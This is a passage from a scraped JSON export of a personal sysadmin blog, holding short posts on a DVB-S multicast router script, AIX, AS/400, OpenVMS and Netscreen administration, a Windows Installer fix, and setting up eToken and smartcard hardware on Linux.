style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tsleep \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  stop\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Stopping the dvb card\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Stopping Satellite Downlink\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tkillall dvbtune \u0026gt;/dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Stopping Multicast Routing\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Stopping Multicast Router\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -k\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Disable dvbs interfaces and remove active PID\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Shutting down DVB-S interfaces\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e iii in \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e0..7\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t/sbin/ifconfig dvb0_$iii down \u0026gt;/dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eDNET\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -d $iii \u0026gt;/dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Remove and disable multicasting forwarding interface\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Shutting down multicasting forwarding interface\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eIFCONFIG\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e del \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMIP\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e multicast\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eIFCONFIG\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e down\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  restart\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t$0 stop\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t$0 start\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  status\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \tPID1\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;pidof dvbtune\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Tuning subsystem running at pid\u0026#34;\u003c/span\u003e $PID1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \tPID2\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;pidof smcroute\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Mulicast router running at pid\u0026#34;\u003c/span\u003e $PID2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  multicast\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Multicasting Routing table:\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \tip mroute show\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  *\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Usage: \u003c/span\u003e$0\u003cspan style=\"color:#e6db74\"\u003e [start|stop|restart|status|multicast]\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eesac\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexit;s\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Linux - Multicast DVB-S router for EUMETCast"},{"content":"The Windows Installer Service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance.\nkb315353\nTo resolve this issue, follow these steps:\nLog on to your computer as an administrator.\nClick Start, and then click Run.\nIn the Open box, type cmd, and then click OK.\nAt the command prompt, typemsiexec.exe /unregister, and then press ENTER.\nType msiexec /regserver, and then press ENTER.\nVerify that the SYSTEM account has full control access permissions to the HKEY_CLASSES_ROOT hive in the Windows registry. In some cases, you may also have to add Administrator accounts. To do so:Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs. For more information about how to back up and restore the registry, click the following article number to view the article in the Microsoft Knowledge Base: 322756 (http://support.microsoft.com/kb/322756/ ) How to back up and restore the registry in Windows\nClick Start, click Run, type regedit in the Open box, and then click OK.\nClick the following registry hive: HKEY_CLASSES_ROOT\nOn the Edit menu, click Permissions.\nIf SYSTEM is not listed in the Group or user names list, click Add, make sure that the local computer name appears in the From this location box, type system in the Enter the object names to select box, click Check Names, and then click OK.\nClick SYSTEM in the Group or user names list, and then select the Full Control check box under Allow in the Permissions for SYSTEM box.\nClick Apply, click OK, and then quit Registry Editor.\nRestart the computer. If the problem is not resolved, repair Windows XP. For more information about how to repair Windows XP, click the following article number to view the article in the Microsoft Knowledge Base: 315341 (http://support.microsoft.com/kb/315341/ ) How to perform an in-place upgrade (reinstallation) of Windows XP\n","permalink":"https://www.deepreflect.net/2011/10/09/the-windows-installer-service-could-not-be-accessed/","summary":"\u003cp\u003eThe Windows Installer Service could not be accessed.\nThis can occur if you are running Windows in safe\nmode, or if the Windows Installer is not correctly\ninstalled. Contact your support personnel for assistance.\u003c/p\u003e\n\u003cp\u003ekb315353\u003c/p\u003e\n\u003cp\u003eTo resolve this issue, follow these steps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eLog on to your computer as an administrator.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eClick Start, and then click Run.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the Open box, type cmd, and then click OK.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAt the command prompt, typemsiexec.exe /unregister, and then press ENTER.\u003c/p\u003e","title":"The Windows Installer Service could not be accessed."},{"content":"Sometime during AIX migration/alt_clone or HMC upgrade, it can happen that RMC ID get lost or duplicated, the the rsct process is unable to re stabilize the connection.\nYou can reset the key and restart that service as follows:\nReset RMC unique ID:\n# /usr/sbin/rsct/install/bin/recfgct # /usr/sbin/rsct/bin/rmcctrl -z # /usr/sbin/rsct/bin/rmcctrl -A Then you can check the rmc status:\n# /usr/sbin/rsct/bin/rmcdomainstatus -s ctrmc\n","permalink":"https://www.deepreflect.net/2011/09/21/aix-dlpar-connection-lost-to-hmc/","summary":"\u003cp\u003eSometime during AIX migration/alt_clone or HMC upgrade, it can happen that RMC ID get lost or duplicated, the the rsct process is unable to re stabilize the connection.\u003c/p\u003e\n\u003cp\u003eYou can reset the key and restart that service as follows:\u003c/p\u003e\n\u003cp\u003eReset RMC unique ID:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# /usr/sbin/rsct/install/bin/recfgct\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# /usr/sbin/rsct/bin/rmcctrl -z\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# /usr/sbin/rsct/bin/rmcctrl -A\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThen you can check the rmc status:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# /usr/sbin/rsct/bin/rmcdomainstatus -s ctrmc\u003c/code\u003e\u003c/p\u003e","title":"AIX - DLPAR connection lost to HMC"},{"content":"For a network attached printer:\nWRKWTR and do a #4 to End the writer WRKCFGSTS *DEV *PRT and use #2 to vary off the device, then #8 to Work with description then #2 to change, then page/roll and change the IP Vary the device on WRKWTR and start the print writer ","permalink":"https://www.deepreflect.net/2011/07/02/as400-change-ip-remote-printer/","summary":"\u003cp\u003eFor a network attached printer:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003eWRKWTR\u003c/code\u003e and do a #4 to End the writer\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eWRKCFGSTS *DEV *PRT\u003c/code\u003e and use #2 to vary off the device, then #8 to Work with description\nthen #2 to change, then page/roll and change the IP\u003c/li\u003e\n\u003cli\u003eVary the device on\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eWRKWTR\u003c/code\u003e and start the print writer\u003c/li\u003e\n\u003c/ol\u003e","title":"AS/400 - Change IP remote printer"},{"content":"AIX - ODM Device Configuration Object Classes\nA list of the ODM Device Configuration Object Classes follows:\nPdDv Predefined Devices\nPdCn Predefined Connection\nPdAt Predefined Attribute\nConfig_Rules Configuration Rules\nCuDv Customized Devices\nCuDep Customized Dependency\nCuAt Customized Attribute\nCuDvDr Customized Device Driver\nCuVPD Customized Vital Product Data\n","permalink":"https://www.deepreflect.net/2011/07/02/odm-object-classes/","summary":"\u003cp\u003eAIX - ODM Device Configuration Object Classes\u003c/p\u003e\n\u003cp\u003eA list of the ODM Device Configuration Object Classes follows:\u003c/p\u003e\n\u003cp\u003ePdDv\nPredefined Devices\u003c/p\u003e\n\u003cp\u003ePdCn\nPredefined Connection\u003c/p\u003e\n\u003cp\u003ePdAt\nPredefined Attribute\u003c/p\u003e\n\u003cp\u003eConfig_Rules\nConfiguration Rules\u003c/p\u003e\n\u003cp\u003eCuDv\nCustomized Devices\u003c/p\u003e\n\u003cp\u003eCuDep\nCustomized Dependency\u003c/p\u003e\n\u003cp\u003eCuAt\nCustomized Attribute\u003c/p\u003e\n\u003cp\u003eCuDvDr\nCustomized Device Driver\u003c/p\u003e\n\u003cp\u003eCuVPD\nCustomized Vital Product Data\u003c/p\u003e","title":"AIX - ODM Object Classes"},{"content":"fw01-\u0026gt; save software from tftp 10.255.4.210 ns50ns25.5.4.0r21.0 to flash Load software from TFTP 10.255.4.210 (file: ns50ns25.5.4.0r21.0). !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! tftp received octets = 5994268 tftp success! TFTP Succeeded Save to flash. It may take a few minutes ...platform = 14, cpu = 10, version = 18 update new flash image (01e97ddc,5994268) platform = 14, cpu = 10, version = 18 offset = 20, address = 3060000, size = 5994189 date = 4062f3e0, sw_version = 4062f3e4, cksum = f7522c46 Program flash (5994268 bytes) ... sec_size :131072 align_support 1 , mode 96028 ++++++++++++++++++++++++++++++++++++++++++++++done Done fw01-\u0026gt; reset System reset, are you sure? y/[n] y In reset ... ","permalink":"https://www.deepreflect.net/2011/06/20/juniper-netscreen-upgrade-via-tftp/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01-\u0026gt; save software from tftp 10.255.4.210 ns50ns25.5.4.0r21.0 to flash\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLoad software from TFTP 10.255.4.210 (file: ns50ns25.5.4.0r21.0).\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etftp received octets = 5994268\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etftp success!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTFTP Succeeded\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSave to flash. It may take a few minutes ...platform = 14, cpu = 10, version = 18\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eupdate new flash image (01e97ddc,5994268)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplatform = 14, cpu = 10, version = 18\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eoffset = 20, address = 3060000, size = 5994189\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edate = 4062f3e0, sw_version = 4062f3e4, cksum = f7522c46\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eProgram flash (5994268 bytes) ...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esec_size :131072 align_support 1 , mode 96028\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e++++++++++++++++++++++++++++++++++++++++++++++done\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDone\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01-\u0026gt; reset\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSystem reset, are you sure? y/[n] y\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIn reset ...\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Juniper - Netscreen upgrade via TFTP"},{"content":"SCSSYSTEMID (G) Specifies a number that identifies the computer. This parameter is not dynamic. SCSSYSTEMID is the low-order 32 bits of the 48-bit system identification number.\nIf the computer is in an OpenVMS Cluster, specify a value that is unique within the cluster. Do not use zero as the value.\nIf the computer is running DECnet for OpenVMS, calculate the value from the DECnet address using the following formula:\nSCSSYSTEMID = ((DECnet area number) \\* 1024) + (DECnet node number)\nExample: If the DECnet address is 2.211, calculate the value as follows:\nSCSSYSTEMID = (2 \\* 1024) + 211 = 2259\n","permalink":"https://www.deepreflect.net/2011/04/03/openvms-scssystemid/","summary":"\u003cp\u003eSCSSYSTEMID (G)\nSpecifies a number that identifies the computer. This parameter is not dynamic. SCSSYSTEMID is the low-order 32 bits of the 48-bit system identification number.\u003c/p\u003e\n\u003cp\u003eIf the computer is in an OpenVMS Cluster, specify a value that is unique within the cluster. Do not use zero as the value.\u003c/p\u003e\n\u003cp\u003eIf the computer is running DECnet for OpenVMS, calculate the value from the DECnet address using the following formula:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eSCSSYSTEMID = ((DECnet area number) \\* 1024) + (DECnet node number)\u003c/code\u003e\u003c/p\u003e","title":"OpenVMS - SCSSYSTEMID"},{"content":"There is a known problem with mounting ISO images on the AIX platform. To workaround the problem, complete the following instructions:\nObtain the size of the image, then identify the nearest multiple of 128 MB that will provide enough space for the image. For example, the image of CD-ROM is approximately 650/700 MB, so use 768 MB as an image size.\nMake a logical volume of this size. Ensure that there is enough space on the physical volume. For example, hdisk0.\n# mklv -y cdlv -s n -L /dev/cdlv rootvg 768M hdisk0\nIf the command fails, increase the volume size by a multiple of 128.\nUse the dd command to create a pseudo-device. Ensure that the partition has enough space for the pseudo-device. In the following example command, the pseudo-device is /dev/cdlv.\n# dd if=/opt/iso/cd.iso of=/dev/cdlv\nNote that this command may take a long time and will create two dd processes.\nMount the device like a CD-ROM in AIX. Ensure that the mount point exists.\n# mount -v cdrfs -o ro /dev/cdlv /mnt/iso\n","permalink":"https://www.deepreflect.net/2011/04/03/aix-mounting-iso-images/","summary":"\u003cp\u003eThere is a known problem with mounting ISO images on the AIX platform. To workaround the problem, complete the following instructions:\u003c/p\u003e\n\u003cp\u003eObtain the size of the image, then identify the nearest multiple of 128 MB that will provide enough space for the image. For example, the image of CD-ROM is approximately 650/700 MB, so use 768 MB as an image size.\u003c/p\u003e\n\u003cp\u003eMake a logical volume of this size. Ensure that there is enough space on the physical volume. For example, hdisk0.\u003c/p\u003e","title":"AIX - Mounting ISO images"},{"content":"I bought promo pack of 5 Aladdin eToken PASS units, the tokens comes with serial number in this format: XXXX-XXXX-XXXX-XXXX activated for free on the website of the manufacturer only one time of course, then used token purchased from ebay usually are unusable.\nThe activation consists in a zip containing two ldif format dat files, you can extract the token key parsing the text from \u0026ldquo;importAlpine.dat\u0026rdquo; file:\nsccAuthenticatorId: (means token serial number) sccKey= (means token key)\neToken PASS are event based tokens, I\u0026rsquo;ve tested successfully using otptool, part of mod-authn-otp.\n","permalink":"https://www.deepreflect.net/2011/01/23/etoken-pass-in-open-environment/","summary":"\u003cp\u003eI bought promo pack of 5 Aladdin eToken PASS units, the tokens comes with serial number in this format: XXXX-XXXX-XXXX-XXXX activated for free on the website of the manufacturer only one time of course, then used token purchased from ebay usually are unusable.\u003c/p\u003e\n\u003cp\u003eThe activation consists in a zip containing two ldif format dat files, you can extract the token key parsing the text from \u0026ldquo;importAlpine.dat\u0026rdquo; file:\u003c/p\u003e\n\u003cp\u003esccAuthenticatorId: (means token serial number) sccKey= (means token key)\u003c/p\u003e","title":"eToken PASS in open environment"},{"content":"When AIX will not release /dev/cd0 device (after umount any associted filesystems), and you get busy device error on dlpar operations, use this command to kill all processes that take busy resource:\n# fuser -k -x -u -c /dev/cd0 Usually in pSeries hardware configuration is connected to a scsi controller by scsi-to-ide/sas/sata or other terrible solution bridge.\nTo made all this operation faster you can identify pci parent adapter and remove recursively all device.\nIdentify:\n# lsdev -l cd0 -F parent scsi0 # lsdev -l scsi0 -F parent sisscsia0 # lsdev -l sisscsia0 -F parent pci10 Remove:\n# rmdev -Rdl pci10 cd0 deleted ses0 deleted scsi0 deleted sisscsia0 deleted pci10 deleted Then you can move the controller from HMC to another LPAR\n","permalink":"https://www.deepreflect.net/2011/01/23/aix-lpar-cdrom-device-relase/","summary":"\u003cp\u003eWhen AIX will not release /dev/cd0 device (after umount any associted filesystems), and you get busy device error on dlpar operations, use this command to kill all processes that take busy resource:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# fuser -k -x -u -c /dev/cd0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eUsually in pSeries hardware configuration is connected to a scsi controller by scsi-to-ide/sas/sata or other terrible solution bridge.\u003c/p\u003e\n\u003cp\u003eTo made all this operation faster you can identify pci parent adapter and remove recursively all device.\u003c/p\u003e","title":"AIX LPAR - CDROM device relase"},{"content":"In this post I describe how to get works OMNIKEY Cardman 4040, a pcmcia smartcard reader/writer under Linux Ferdora 14 using manufacturer PC/SC driver.\nInstall the required packages: [root@thinkleo1 ~]# yum install pcsc-lite openct opensc\nConfigure OpenSC With PC/SC cardbus access OpenCT is useless but without that daemon, on every smartcard operational commad you get lot of this erros:\nError: can't open /var/run/openct/status: No such file or directory\nThen to avoid (openct/opensc/pcscd) conflicts I prefer to disable openct framework like this:\nSubstitute into /etc/opensc.conf :\nreader_drivers = openct, pcsc, ctapi;\nWith (if is not present, add this under \u0026ldquo;app default\u0026rdquo; context):\nreader_drivers = pcsc, ctapi;\nStop OpenCT daemon:\n[root@thinkleo1 ~]# /etc/init.d/openct stop\nInstall PC/SC driver Download PC/SC driver for Linux form:\nhttp://www.hidglobal.com/\nActual release is \u0026ldquo;ifdok_cm4040_lnx-2.0.0.tar.gz\u0026rdquo; this file contains a nice installer, but doesn\u0026rsquo;t work under fedora, then proceed manually:\n[root@thinkleo1 ~]# tar -xvf ifdok_cm4040_lnx-2.0.0.tar.gz [root@thinkleo1 ~]# cd ifdok_cm4040_lnx-2.0.0 [root@thinkleo1 ifdok_cm4040_lnx-2.0.0]# cp ifdok_cm4040_lnx-2.0.0.so /usr/lib/pcsc/drivers/ Create file: /etc/reader.conf.d/cardman4040.conf\nWith this content (adjust that if you have more that one pcmcia slot) :\n# # Configuration file for CardMan 4040 smartcard reader. # FRIENDLYNAME \u0026#34;OMNIKEY CardMan 4040 Socket 0\u0026#34; DEVICENAME /dev/cmx0 LIBPATH /usr/lib/pcsc/drivers/ifdok_cm4040_lnx-2.0.0.so CHANNELID 0 Now insert the smartcard reader into 